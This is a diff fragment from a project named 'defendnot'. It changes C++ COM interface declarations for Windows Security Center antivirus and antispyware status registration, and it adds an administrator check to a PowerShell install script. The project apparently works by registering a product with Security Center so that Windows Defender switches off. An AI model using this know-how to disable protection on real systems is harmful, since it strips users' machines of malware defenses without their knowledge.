+        virtual HRESULT UpdateStatusAV(WSCSecurityProductState state, BOOL unk) = 0;
         virtual HRESULT InitiateOfflineCleaningAV(std::uint16_t*, std::uint16_t*) = 0;
         virtual HRESULT NotifyUserForNearExpirationAV(std::uint32_t) = 0;
         virtual HRESULT RegisterFW(std::uint16_t*, std::uint16_t*, std::uint32_t, std::uint32_t) = 0;
@@ -84,16 +60,13 @@ namespace defendnot {
         virtual HRESULT UpdateStatusFW(WSCSecurityProductState state) = 0;
         virtual HRESULT RegisterAS(std::uint16_t*, std::uint16_t*, std::uint32_t, std::uint32_t) = 0;
         virtual HRESULT UnregisterAS() = 0;
-        virtual HRESULT UpdateStatusAS(WSCSecurityProductState state, std::uint32_t) = 0;
+        virtual HRESULT UpdateStatusAS(WSCSecurityProductState state, BOOL unk) = 0;
-
+    };
-    private:
-        virtual void dtor() = 0;
 
+    class IWscASStatus : public com::IBaseObject<detail::CLSID_WscIsv, detail::IID_IWscASStatus> {
     public:
-        static IWscAVStatus* get() {
+        virtual HRESULT Register(BSTR path_to_signed_product_exe, BSTR display_name, std::uint32_t, std::uint32_t) = 0;
-            IWscAVStatus* result = nullptr;
+        virtual HRESULT Unregister() = 0;
-            com_checked(CoCreateInstance(detail::CLSID_IWscAVStatus, 0, 1, detail::IID_IWscAVStatus, reinterpret_cast<LPVOID*>(&result)));
+        virtual HRESULT UpdateStatus(WSCSecurityProductState state, BOOL unk) = 0;
-            return result;
-        }
     };
 } // namespace defendnot

install.ps1

@@ -1,5 +1,10 @@
-#Requires -RunAsAdministrator
 $ErrorActionPreference = "Stop"
+
+$principal = New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())
+if (-not ($principal.IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator))) {
+    Write-Error "This script requires administrator privileges. Please run as Administrator."
+    exit 1
+}
 $InstallPath = "$env:ProgramFiles\defendnot"
 
 switch -Wildcard ($env:PROCESSOR_ARCHITECTURE) {